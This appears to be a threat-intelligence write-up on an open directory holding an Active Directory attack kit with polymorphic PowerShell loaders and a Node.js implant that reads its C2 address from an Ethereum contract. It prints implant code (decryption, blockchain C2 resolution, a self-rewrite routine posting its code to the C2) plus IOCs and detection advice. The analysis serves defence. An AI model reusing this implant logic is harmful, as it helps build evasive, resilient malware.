An open directory was found on a server hosted in Microsoft Azure. It held eight files and, at first glance, looked like an ordinary post-exploitation kit built from SharpHound, WinPMem, and a handful of PowerShell loaders. The implant's C2 address, though, wasn't a domain or an IP. It lived inside an Ethereum smart contract.

A contract's transaction history sits on the blockchain permanently and in public. That made it possible to see more than just the current C2 address: every address written since the contract's creation on June 27, and which account funded the operator. The eighth file in the directory turned out to be a separate story, an unexpected trace left behind while the operator was testing its own toolset.

At a glance

  • An open directory on 51.11.247[.]37 contained all eight pieces of a full Active Directory attack kit, from reconnaissance to exfiltration.
  • Four polymorphic PowerShell loaders drop a Node.js implant that reads its C2 address from an Ethereum smart contract (the EtherHiding technique).
  • Scanning the contract's full transaction history surfaced 24 distinct C2 domains rotated over seven weeks; 23 of them had never appeared in any public source.
  • The operator account was funded 14 hours before the contract was created. The funding account's own history includes use of a no-KYC exchange and one large pass-through transfer.
  • The eighth file in the directory, despite its name, has nothing to do with Rust. It's a Windows executable carrying components from AhnLab's V3 antivirus engine.

Discovery

51.11.247[.]37 belongs to Microsoft's Azure infrastructure (AS8075, France region). Only port 443 was open in the scanned range, and it wasn't running a generic service. It was serving a raw directory listing. The eight files inside covered nearly every stage of an Active Directory attack chain.

Address Role Open port Service Verification
51.11.247[.]37 Staging server 443/tcp HTTPS, open directory listing Confirmed by direct scan
20.213.88[.]242 Fallback C2 (original report) 443/tcp (assumed) HTTPS, implant polling Inferred from implant source, not port-scanned
24 rotation domains Fallback C2 (current) 443/tcp (assumed) HTTPS, polling/reobfuscation/sys-info endpoints Inferred from implant source

No independent port scan was run against anything beyond the staging server. Everything known about the C2 side comes from the implant's own code, which calls https:// throughout.

Being an Azure IP doesn't mean the infrastructure is clean. AS8075 hosts more than 240 malicious hosts tied to known C2 frameworks such as CobaltStrike, Sliver, Havoc, and Mythic. Abuse of cloud infrastructure here isn't an isolated find; it's part of a pattern that keeps growing.

open directory listing
Figure 1: File listing from the open directory on 51.11.247.37
# File Size Category
1 j4ravc8df1dz1jk.ps1 62,313 B Loader (variant)
2 3ns6j5bq87bs.ps1 56,934 B Loader (variant)
3 u9navdx5a2kiu.ps1 63,498 B Loader (variant)
4 fpv0s3mgas2jas.ps1 62,097 B Loader (variant, added later)
5 sharphound-v2.14.0.zip 2,521,104 B AD recon tool (legitimate)
6 winpmem_mini_x64_rc2.exe 527,640 B Memory dumping tool (legitimate)
7 azcopy_windows_amd64_10.32.7.zip 27,231,017 B Azure data-copy tool (legitimate)
8 rust-streamer3-windows-x64.exe 30,390,272 B See "An unexpected guest" below

Files 5, 6, and 7 are known, signed, or open-source tools and need no further analysis. The real substance is in the four PowerShell loaders and the second-stage implant they run.

Toolkit Attack Chain

RECON                 SharpHound        → mapping AD structure
CREDENTIAL ACCESS     WinPMem           → memory dump, credential extraction
LATERAL/PERSISTENCE   PS1 loaders       → Node.js implant + blockchain C2
EXFILTRATION          AzCopy            → bulk copy to Azure Blob Storage

All four components in the chain are legitimate tools being reused; the operator wrote none of them from scratch. The only custom code is the PowerShell loaders and the JavaScript implant they run.

Polymorphic loaders

The four PS1 files are variants of the same family and share a three-layer obfuscation scheme. Hex-encoded chunks get concatenated first, then a custom XOR/bit-rotation cipher is applied, and finally, depending on the variant, either that cipher alone or an additional AES-256-CBC layer takes over.

Variant Node.js Encryption Persistence Fallback C2
j4ravc8df1dz1jk.ps1 18.19.0 XOR-derived key + AES-256-CBC Scheduled Task + Startup syncdate.belgiumcentral.cloudapp[.]azure.com
3ns6j5bq87bs.ps1 18.20.0 Pure XOR/rotation Registry Run key synctime.australiaeast.cloudapp[.]azure.com
u9navdx5a2kiu.ps1 18.19.0 XOR-derived key + AES-256-CBC Scheduled Task + Startup synctimes.australiaeast.cloudapp[.]azure.com
fpv0s3mgas2jas.ps1 18.20.0 XOR-derived key + AES-256-CBC Scheduled Task (OneDriveSyncMaintenance) + Startup timesync.westus2.cloudapp[.]azure.com

Each copy has a different hash, different function and variable names, and a different encryption key, consistent with a standard polymorphism approach meant to dodge signature-based detection. The fourth variant was added to the directory a few days after the first three, meaning the operation kept being developed even after discovery.

Here's the decryption function from the pure XOR/rotation variant:

function Parse-Key {
    param($p1, $p2)
    $b1 = [System.Convert]::FromBase64String($p1)  # encrypted data
    $b2 = [System.Convert]::FromBase64String($p2)  # key
    $s = 0
    for ($j = 0; $j -lt $b2.Length; $j++) { $s = ($s + $b2[$j]) -band 0xFF }
    $r = New-Object byte[] $b1.Length
    for ($i = 0; $i -lt $b1.Length; $i++) {
        $k = $b2[$i % $b2.Length]
        $rot = ($k + $i) -band 7
        $v = (($b1[$i] -shr $rot) -bor ($b1[$i] -shl (8 - $rot))) -band 0xFF
        $r[$i] = $v -bxor $k -bxor $s
        $s = ($s + $v + $k + ($i -band 0xFF)) -band 0xFF
    }
    return [System.Text.Encoding]::UTF8.GetString($r)
}

Seeding $s with the sum of the key bytes before the loop runs is missing from the version documented in known dead-drop resolver families. It's a small but functional difference, suggesting the operator adjusted the algorithm to its own needs.

EtherHiding: a C2 address on the blockchain

Decrypting any of the four loaders produces the same second-stage JavaScript implant. Its most interesting part is a resolver that reads the C2 address from an Ethereum smart contract instead of hardcoding it, a technique known in the literature as EtherHiding.

const CONTRACT_ADDRESS = "0xdf64c4d1fa017fc565e6564b117bd6ba8437953f";
const FUNCTION_SELECTOR = "0x7d434425";

async function resolveC2() {
    for (const rpc of RPC_ENDPOINTS) {           // 7 distinct, fully legitimate RPC services
        const response = await fetch(rpc, {
            method: "POST",
            body: JSON.stringify({
                jsonrpc: "2.0", method: "eth_call",
                params: [{ to: CONTRACT_ADDRESS, data: FUNCTION_SELECTOR }, "latest"],
                id: 1
            })
        });
        const data = await response.json();
        if (data.result && data.result !== "0x") return decodeHexString(data.result);
    }
    return FALLBACK_C2;
}

The idea is simple. Even if a domain or IP gets blocked, a single setString transaction to the contract points every infected machine at a new C2 address automatically. The resolution traffic itself rides on fully legitimate RPC services like Flashbots, PublicNode, and Tenderly, which makes it hard to pick out from ordinary network traffic.

The technique isn't new. Guardio Labs coined the name in late 2023, and it has since turned up repeatedly in North Korea-linked "Contagious Interview" campaigns and in the Node.js-based EtherRAT family (https://www.esentire.com/blog/etherrat-sys-info-module-c2-on-ethereum-etherhiding-target-selection-cdn-like-beacons). Google/Mandiant's tracking of UNC5142 and UNC5342 shows the technique has spread to mid-tier operators as well. The specific contract address and implant in this case, however, had never been documented anywhere before.

Inside the implant: majority voting and self-rewriting

Reading the implant's full source code surfaces two design choices worth calling out. First, it doesn't trust a single RPC for the C2 address. It queries all 7 services in parallel and uses whichever response shows up most often, a resilience layer against any one RPC returning bad or stale data:

const promises = RPC_ENDPOINTS.map(async (rpcUrl) => {
    const response = await fetch(rpcUrl, { method: 'POST', body: JSON.stringify({
        jsonrpc: '2.0', method: 'eth_call',
        params: [{ to: CONTRACT_ADDRESS, data: calldata }, 'latest'], id: 1
    })});
    const json = await response.json();
    if (json.result) results[rpcUrl] = decodeHexString(json.result);
});
await Promise.allSettled(promises);

const counts = {};
Object.values(results).forEach(url => { counts[url] = (counts[url] || 0) + 1; });
return Object.entries(counts).sort((a, b) => b[1] - a[1])[0][0];   // the most frequent answer

Second, and more striking, the implant sends its own source code to the C2 once after installation and overwrites itself on disk with whatever comes back.

const code = fs.readFileSync(scriptPath, 'utf8');
const response = await fetch(`${c2}/api/${buildHash}/${botId}`, {
    method: 'POST',
    body: JSON.stringify({ code, build: buildId })
});
const newCode = await response.text();
if (newCode && newCode.length > 100) {
    fs.writeFileSync(scriptPath, newCode, 'utf8');   // overwrite with whatever the C2 returns
    markReobfuscated();
}

Polymorphism, in other words, doesn't end at delivery; the implant can keep mutating under the C2's control indefinitely. The command channel is just as permissive. Every response from the C2 runs as an AsyncFunction with full Node.js access, including require, inside a loop that fires roughly every 500ms, giving the operator near-instant, effectively unrestricted remote code execution.

Full rotation history: 24 domains over seven weeks

The contract was created on June 27, 2026, and had taken 41 transactions by August 20, 2026, 40 of them valid setString calls writing a C2 address. The contract's full history resolves to a list of 24 unique domains.

The naming has shifted over time.

Period Example domains Character
Late June – early July dns10, unikolasdxx, hygaskilosx Random character strings
July azurebackup, update.norwayeast, mlcrosoft.westus* IT-infrastructure theme, geographic rotation begins
August synctime, syncdate, timesync, synctimes Settled into a consistent "sync" theme

*mlcrosoft.westus: the "i" in "Microsoft" is swapped for an "l".

Every domain follows the pattern [theme].[Azure region].cloudapp[.]azure.com, spread across regions from Chile to Norway, South Africa to Australia, East Asia to several US states. A geographic spread this wide doesn't look hand-managed. It's more likely a script generating a fresh region/theme combination at each rotation.

Twenty-three of the domains on this list had never surfaced in any public source before; only the most recently used one, synctime.australiaeast, was already known.

Decoding the contract's full transaction history produces the chain below. The first row is the contract creation transaction; the remaining 40 are each a setString call.

# Time (UTC) C2 address
0 2026-06-27 01:46 (contract creation)
1 2026-06-27 01:47 dns10.centralus.cloudapp[.]azure[.]com
2 2026-06-29 15:51 unikolasdxx.centralus.cloudapp[.]azure[.]com
3 2026-06-29 15:52 unikolasdxx.centralus.cloudapp[.]azure[.]com
4 2026-06-29 16:07 unikolasdxx.centralus.cloudapp[.]azure[.]com
5 2026-07-02 15:55 hygaskilosx.centralus.cloudapp[.]azure[.]com
6 2026-07-03 01:57 azurebackup.chilecentral.cloudapp[.]azure[.]com
7 2026-07-03 04:20 scanazurenetwork.chilecentral.cloudapp[.]azure[.]com
8 2026-07-06 07:45 azurepoinbackup.centralus.cloudapp[.]azure[.]com
9 2026-07-09 04:49 update.norwayeast.cloudapp[.]azure[.]com
10 2026-07-09 16:51 unkiloasdgva.westcentralus.cloudapp[.]azure[.]com
11 2026-07-10 08:37 update.norwayeast.cloudapp[.]azure[.]com
12 2026-07-10 08:37 update.norwayeast.cloudapp[.]azure[.]com
13 2026-07-10 08:37 update.norwayeast.cloudapp[.]azure[.]com
14 2026-07-11 23:51 updates.canadaeast.cloudapp[.]azure[.]com
15 2026-07-14 08:32 winupdate.eastasia.cloudapp[.]azure[.]com
16 2026-07-16 16:49 cureentinstall.canadaeast.cloudapp[.]azure[.]com
17 2026-07-17 00:43 update.norwayeast.cloudapp[.]azure[.]com
18 2026-07-17 04:55 update.northcentralus.cloudapp[.]azure[.]com
19 2026-07-17 12:59 mlcrosoft.westus.cloudapp[.]azure[.]com
20 2026-07-20 17:12 trusted.canadaeast.cloudapp[.]azure[.]com
21 2026-07-20 23:24 mlcrosoft.westus.cloudapp[.]azure[.]com
22 2026-07-21 02:33 timesync.centralus.cloudapp[.]azure[.]com
23 2026-07-22 12:57 trustlink.centralus.cloudapp[.]azure[.]com
24 2026-07-22 12:57 trustlink.centralus.cloudapp[.]azure[.]com
25 2026-07-22 19:19 timesync.centralus.cloudapp[.]azure[.]com
26 2026-07-22 19:20 timesync.centralus.cloudapp[.]azure[.]com
27 2026-07-27 11:08 downloadupdate.centralus.cloudapp[.]azure[.]com
28 2026-07-30 16:45 timesync.centralus.cloudapp[.]azure[.]com
29 2026-08-12 17:46 synctime.australiaeast.cloudapp[.]azure[.]com
30 2026-08-16 08:45 timesync.centralus.cloudapp[.]azure[.]com
31 2026-08-16 12:05 syncdate.belgiumcentral.cloudapp[.]azure[.]com
32 2026-08-17 14:24 allres.southafricanorth.cloudapp[.]azure[.]com
33 2026-08-17 17:03 update.belgiumcentral.cloudapp[.]azure[.]com
34 2026-08-17 17:04 update.belgiumcentral.cloudapp[.]azure[.]com
35 2026-08-17 17:05 update.belgiumcentral.cloudapp[.]azure[.]com
36 2026-08-17 17:05 update.belgiumcentral.cloudapp[.]azure[.]com
37 2026-08-17 21:36 timesync.westus2.cloudapp[.]azure[.]com
38 2026-08-17 21:37 timesync.westus2.cloudapp[.]azure[.]com
39 2026-08-18 06:59 synctimes.australiaeast.cloudapp[.]azure[.]com
40 2026-08-20 16:46 timesync.westus2.cloudapp[.]azure[.]com

Following the wallet

Ethereum has two kinds of accounts, an EOA (Externally-Owned Account) controlled by a private key, and a Contract Account controlled by its own code and unable to initiate transactions. The C2 contract is a Contract Account. The operator account that writes to it, along with every other address discussed below, is an EOA.

The operator account (0x977928...) received 0.005 ETH from another EOA 14 hours before the contract was created, consistent with topping up a disposable operational account with gas money. That funding account's own history shows two notable moves, a 247 ETH (~$625,000) transaction that changed hands within roughly 100 minutes about 3.5 months before the campaign, and a small deposit into FixedFloat, a no-KYC crypto swap service. Some caution is warranted here, because value is fungible on Ethereum, so there's no on-chain proof that these funds came from the same source that later paid the operator. These observations only describe the funding account's general behavior.

No outflow to a known exchange was observed from the operator account. Total inbound funding amounted to a few dollars, nearly all of which went to gas fees across the 41 transactions.

An unexpected guest: an antivirus engine

The eighth file in the directory, rust-streamer3-windows-x64.exe, is a 30 MB Windows executable with nothing to do with Rust despite its name. Its PE header and internal strings reveal the following:

  • PDB path: ...\VSAPI\...\vsapi64\...\atse64_2019.pdb
  • Internal string constants: ATSE64.dll, VSAPI, ATSE_deepscan, AtseAggressiveLevel
  • Version resource: Copyright (C) 2025 Trend Micro Incorporated

VSAPI and ATSE (AhnLab Trusted Scan Engine) are known internal component names from AhnLab's (South Korea) V3 antivirus engine. The Trend Micro copyright looks contradictory at first, but it's already known that some of Trend Micro's multi-engine products embed AhnLab's ATSE under license. The file itself isn't registered anywhere public, including VirusTotal.

The most likely explanation is that the operator tests its own tooling, the polymorphic loaders in particular, against an AV engine locally before deployment, probably one popular in South Korea. That alone isn't proof of attribution, but it adds moderate-confidence support to the hypothesis of TTP overlap with North Korea-linked Contagious Interview campaigns.

This interest in AV doesn't look like a coincidence. One of the tasks the implant downloads fingerprints whatever antivirus is running on the victim's machine and reports it back to the C2.

if (isWindows) {
    const av = execSync(
        'powershell -Command "(Get-CimInstance -Namespace root/SecurityCenter2 ' +
        '-ClassName AntivirusProduct).displayName -join \', \'"'
    ).trim();
} else {
    const knownAV = ['clamd', 'sophos', 'avast', 'eset', 'kaspersky', 'comodo'];
    const found = knownAV.filter(name => runningProcesses.includes(name));
}

The same module deletes itself and stops running if the system language matches Russian, Belarusian, Kazakh, or a few other CIS languages, a pattern that rules out the CIS region and turns up often enough across toolkits of very different origins.

Tactics and techniques

Mapping the full chain against MITRE ATT&CK yields 19 confirmed techniques; the one unconfirmed entry is just an assumed initial-access vector (phishing).

target 51.11.247[.]37period 27 Jun to 20 Aug 2026confirmed 19unconfirmed 1

Initial Access

Execution

Persistence

Defense Evasion

  • T1027Obfuscated Files or Information
  • T1027.013Encrypted or Encoded File XOR and rotation
  • T1140Deobfuscate or Decode Files
  • T1036.005Match Legitimate Name
  • T1218System Binary Proxy Execution

Discovery

  • T1087Account Discovery SharpHound
  • T1082System Information Discovery

Credential Access

  • T1003OS Credential Dumping WinPMem

Collection

  • T1560Archive Collected Data

Command and Control

Exfiltration

  • T1567Exfiltration Over Web Service
  • T1537Transfer Data to Cloud Account azcopy

Confirmed from analysisSuspected, not confirmed

Detection and defense

Layer Recommendation
Network Watch for new sync/time/update/backup/trusted-themed subdomains under *.cloudapp.azure[.]com
Endpoint Look for scheduled tasks named OneDriveSyncMaintenance and MicrosoftEdgeUpdateTask; checking only one name misses the other variant
Endpoint Scan for node.exe instances running from hidden directories under %LOCALAPPDATA%
Network Monitor eth_call JSON-RPC traffic from workstations, especially to the 7 known RPC services
General Enable PowerShell Script Block Logging; a single concatenation expression built from 100+ variables can serve as a behavioral signature for the hex/base64 assembly pattern

Takeaways

The blockchain side has been quiet since August 20, seven days without a new setString transaction. The file server, though, was updated at least twice over the same stretch, adding a new polymorphic loader and a previously unseen executable. The contract address stays fixed while everything around it (the fallback domain, the build ID, the persistence name) changes with each new build.

Classic IOC blocking (IP, domain, hash) still works here, but the technique is already primed for its next rotation. At the same time, the same permanence that makes blockchain records public and unchangeable cuts against the operator too. Seven weeks of activity, funding pattern included, could be reconstructed retroactively in full.

IOC list

Type Value
IPv4 51.11.247[.]37
IPv4 20.213.88[.]242
Contract 0xdf64c4d1fa017fc565e6564b117bd6ba8437953f
Operator EOA 0x977928898a80c7228d8c2e80dfa42ff75f746f56
Function selector 0x7d434425
Sample fallback domain synctime.australiaeast.cloudapp[.]azure[.]com
Scheduled task OneDriveSyncMaintenance, MicrosoftEdgeUpdateTask
Registry persistence HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AppResolver
Log file %APPDATA%\svchost.log
Bot ID file %APPDATA%\.node_bot_id

File hashes (SHA-256):

File SHA-256
j4ravc8df1dz1jk.ps1 b29d4d4d9f4ada427545f0216ed7c411aef7f9bc9f02605875972a48f451063d
3ns6j5bq87bs.ps1 7b5f46ee51337669c0c2a7a71625e728bc05795e48ed5a973ad57c822bb849ce
u9navdx5a2kiu.ps1 1e7b070eb782f31a5382554f56275e5c19f8de256ab53a1b1ac29d118f004e89
fpv0s3mgas2jas.ps1 30e3038455fd1aa41f331fc8b75343afbc938abf7baa7781796574232f275037
winpmem_mini_x64_rc2.exe (legitimate, listed for reference) a4d516b6fcaf3b5b1d4ee709ce86f8eabf1d8028b3a83101479b7568b933d21b
rust-streamer3-windows-x64.exe 5f608e1f074e33e71163196d63adb7b14a181958a37e39446ea8e843aa9bda4e

Build ID and reobfuscation endpoint per variant:

Variant Build ID Reobfuscation endpoint
j4ravc8df1dz1jk.ps1 294d3799-a1d5-489e-b98a-eb2b2f400e45 /api/61daaed5/{botID}
3ns6j5bq87bs.ps1 7199b58c-31ea-4dab-9005-2a0212cda9dc /api/dd60e6bd/{botID}
u9navdx5a2kiu.ps1 201762b5-0961-4ec0-8252-e580bf7e65fe /api/b28dbfab/{botID}
fpv0s3mgas2jas.ps1 c580e06d-77c8-4518-9afa-aae0506b5dd0 /api/ffecc59d/{botID}

The SYS_INFO task module uses a separate exfil pattern: {C2}/api/47cc8b0d/{botID}/s.json?token=.


The findings in this post rest on public blockchain data and analysis of files found in a publicly exposed directory. Because blockchain-based C2 addresses can be updated instantly, the addresses listed here were valid at the time of writing.